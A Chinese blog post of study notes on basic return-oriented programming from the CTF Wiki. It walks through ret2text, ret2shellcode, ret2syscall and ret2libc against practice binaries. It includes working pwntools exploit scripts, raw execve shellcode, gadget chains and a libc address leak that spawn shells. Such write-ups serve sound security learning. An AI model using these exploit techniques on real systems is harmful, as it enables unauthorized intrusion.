基本ROP

本文最后更新于:2021-12-10 下午

前言

还是继续学习练习ROP技术,现在是跟着CTF WIKI中的ROP来学习一下。

基本ROP

基本ROP

随着NX的保护开启,曾经直接向栈或者堆上直接注入代码的方式难以继续发挥作用。攻击者也提出了相应的方法来绕过保护,目前主要的是ROP,其主要的思想就是在栈缓冲区溢出的基础上,利用程序中已经有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓的gadget就是以ret结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

叫做ROP的原因是,利用了指令集中的ret指令,改变了指令流的执行顺序。ROP攻击一般满足以下条件:

  • 程序存在溢出,并且可以控制返回地址
  • 可以知道满足条件的gadgets以及相应的gadgets地址

ret2text

原理

ret2text即控制程序执行程序本身已有的代码(.text)。这种攻击方法是一种笼统的描述,我们控制执行程序已有的代码也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),就是所谓的ROP。

例子

用ret2text做例子

ret2text

查看一下保护机制,看到只开启了NX。

使用IDA查看,看到有一个gets函数,存在一个栈溢出漏洞

还看到了有system(/bin/sh),只要覆盖返回地址到这里就可以了。

现在来尝试构造一下payload,使用GDB打开调试看一下栈的情况,输入112个a和4个b,看到此时的栈空间

查看执行到ret的时候,返回的地址是bbbb,证明构造的payload是对的,将bbbb换成要返回的地址0x804863A即可。

编写EXP

1
2
3
4
5
from pwn import *
p = process("./ret2text")
payload = 0x804863A
p.sendline("a" * 112 + p32(payload))
p.interactive()

ret2shellcode

原理

ret2shellcode就是控制程序流程执行shellcode代码。在栈溢出的基础上,执行shellcode,需要对应的区域具有可执行的权限。

例子

例子在这里下载ret2shellcode

首先查看一下程序的保护机制,几乎没有开启任何的保护,且有可读可写可执行的段。

使用IDA查看,可以看到存在栈溢出,输入的内容会被复制到buf2之中。

查看buf2可以看到是在bss段。

使用gdb打开调试,上面看到buf2在0x804A080,从这里看到有可执行权限。

调试确定payload的长度,输入112个a和4个b,可以看到返回地址是bbbb,现在就可以确定长度了。

生成一段shellcode,填充到112位,然后把返回地址覆盖到buf2的起始地址,在段上执行shellcode就可以了。

1
2
3
4
5
6
from pwn import *
p = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
p.sendline(shellcode.ljust(112,"p") + p32(buf2_addr))
p.interactive()

例子2

sniperoj-pwn100-shellcode-x86-64

查看保护机制,只开启了PIE,也就是基址随机化。

分析一下程序,看到read函数会将数据读到buf中,存在一个栈溢出,段可执行,应该要自己构造shellcode来获取shell。

现在来尝试构造一下payload,buf长度0x10,构造24个a加上8个b,用来覆盖返回地址。看到返回地址被成功覆盖

但是这次不可以用刚才pwntools中生成的那个shellcode了,因为read函数只能读取64个字节的数据,从图中可以看到这个shellcode是44个字节

需要找新的shellcode,在这里可以寻找对应的shellcode,也可以自己尝试去写

https://www.exploit-db.com/shellcodes

我找到了这个shellcode,22字节

https://www.exploit-db.com/shellcodes/47008

这次exp的编写,shellcode不可以放在返回地址之前了,因为这样栈空间是不足的,在shellcode里有好几个push的操作,且它并没有开辟栈空间,比如sub esp,0x100,我们知道栈是从栈顶开始入栈的,此时我们的代码是放在栈顶之上的,如果不断的push 压栈,那么我们的栈里的代码就会被破坏

就像这个图一样,不断的压栈会破坏代码

原始代码

被破坏的代码和栈的情况,这部分具体在之前的文章有讲过栈溢出原理与实践

现在尝试编写exp,把shellcode放在后面,放在后面的不管怎么压栈都不会破坏代码。

因为是动态基址,所以关键在于buf的地址获取,但是题目中给了我们buf的地址,所以不用担心。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process("./sniperoj-pwn100-shellcode-x86-64")
p.recvuntil('[')
buf_addr = p.recvuntil(']',drop=True)
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
buf_addr = int(buf_addr , 16)
buf_addr += 32
#print(hex(buf_addr))
payload = "a"*24 + p64(buf_addr) + shellcode
p.sendline(payload)
p.interactive()

ret2syscall

原理

ret2syscall,就是控制程序执行系统调用的,获取shell

例子

ret2syscall

查看保护机制,开启了NX。

使用IDA打开,可以看到gets函数存在栈溢出,

查看字符串,存在/bin/sh,但是找不到system函数,需要自己构造

可以通过gadgets来获得shell。我们需要把获取对应shell的系统调用放到对应的寄存器中,这样在执行int 0x80可以执行对应的系统调用

1
execve("/bin/sh",null.null)

对于这个32位的程序,需要构造如下的寄存器

  • 系统调用号,eax=0xb
  • 第一个参数,ebx应该指向/bin/sh的地址,或者是执行sh的地址
  • 第二个参数,ecx=0
  • 第三个参数,edx=0

控制寄存器的值,就需要用到gadgets,此时栈顶是10,执行一个pop eax之后,eax就等于10。但是在程序中不一定有连续的可以控制这些寄存器的值,需要一段一段的控制。寻找gadgets的方法,可以使用ropgadgets工具。

查找pop eax和ret的地址,找到一个pop eax,在retn的地址

看到这个地址

1
0x080bb196 : pop eax ; ret

再找pop ebx和ret的地址

看到这样一个地址,剩下三个寄存器都可以用到。

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

现在就可以来控制程序的流程,首先覆盖返回地址到上述两个地址任意一个,比如pop eax/ret地址这,然后再覆盖下面的为0xb,这样ret就会到pop eax/ret这里,然后pop eax,eax就是0xb,之后是一样的流程。

现在来确定一下payload长度,使用GDB调试,输入112个a,再输入4个b,

编写EXP

1
2
3
4
5
6
7
8
9
from pwn import *
p = process("./rop")
pop_eax_ret = 0x80bb196
pop_edx_ecx_ebx_ret = 0x806eb90
int_80_addr = 0x8049421
binsh_addr = 0x80be408
payload = 'a'*112 + p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0) +p32(0) + p32(binsh_addr)+ p32(int_80_addr)
p.sendline(payload)
p.interactive()

ret2libc

原理

ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,会选择执行system("/bin/sh"),所以需要知道system函数的地址。

例1

ret2libc1

查看一下保护机制,看到只开启了NX。

使用IDA查看,看到存在一个gets函数,存在栈溢出

在IDA里能看到system函数,还有/bin/sh的地址,那么就可以获取shell。

确定payload,这次用cyclic这个工具来获取一下需要覆盖到返回地址的长度,

编写EXP

1
2
3
4
5
6
7
from pwn import *
p = process("./ret2libc1")
bin_addr = 0x8048720
system_addr = 0x8048460
payload = "a"*112 + p32(system_addr) + "b"*4 + p32(bin_addr)
p.sendline(payload)
p.interactive()

例2

ret2libc2

查看保护机制,只开启了NX保护

用IDA查看,可以看到有一个gets函数,存在栈溢出,跟上一道题一样到流程

只是这道题只有system的地址,但是没有/bin/sh,所以要自己构造。

在bss段还可以找到buf2,可以把/bin/sh写到buf2中。

查看bss段属性可写可读

然后再找到gets函数地址

偏移量跟上一个是一样的,就不再计算了,现在尝试构造payload。

现在有两种构造的方法,第一个就是,覆盖返回地址为gets函数地址,然后是返回地址,返回地址是一个pop/ret的地址,然后是buf2的地址,此时gets会把输入存在buf2内,然后是system函数地址,任意一个返回地址,buf2地址。这样的执行流程,首先是返回到gets,输入/bin/sh保存到buf2,然后返回到pop/ret的地方, pop一次,将buf2地址弹出去,此时栈顶是system函数地址,再次ret就会执行system("/bin/sh")

第二个就是不需要pop/ret的地址,直接把system函数地址作为gets函数的返回地址,执行流程是一样的。

编写EXP

查找pop/ret的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process("./ret2libc2")

pop_ret_addr = 0x804843d
gets_addr = 0x8048460
system_addr = 0x8048490
buf2_addr = 0x804a080

#第一种方法
#payload = 'a'*112 + p32(gets_addr) + p32(pop_ret_addr) + p32(buf2_addr) + p32(system_addr) + 'b'*4 + p32(buf2_addr)

payload = 'a'*112 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr)+ p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

例3

ret2libc3

查看保护只开启了NX。

看到存在栈溢出,可以尝试ROP。此例子是在例2的基础上,将system函数的地址去掉,此时需要同时找到system函数地址和

现在的问题就是如何寻找system函数的地址。

system函数属于libc,而libc.so动态链接库中的函数相对偏移是固定的。即使程序有ASLR,最低的12位也不会改变,而libc在github上有人进行收集。

我们如果知道了libc中某个函数的地址,那么就可以确定该程序利用的libc,进而可以知道system函数的地址。得到libc中函数地址一般是用got表泄露,就是输出某个函数对应的got表项的内容。当然,由于libc的延迟绑定机制,我们需要泄露已经执行过得函数的地址。

现在来手工先寻找一下这些地址,来加深理解。

先来寻找一下libc的基址,使用gdb加载libc3,然后打印出__libc_start_main的地址

使用ldd命令可以查看程序依赖的libc版本,再将其复制到当前路径下

搜索__libc_start_main可以看到其偏移是0x18e30,由此可以算出基址是

0xf7df5e30-0x18e30=0xf7ddd000

有了基址就可以计算出其他的地址

现在的思路就是,通过现有的函数打印出__libc_start_main的地址,然后寻找libc中的地址,来计算基址,有了基址,查找到system/bin/sh的偏移就可以得到。

现在编写个EXP,通过利用LibcSearcher可以快速的帮助查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

总结

学习CTF wiki上的基本rop技术,很多文字性的描述就直接用了上面的描述,原理性的东西基本都理解了,利用方式也都理解,后续还需要多多练习一下。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!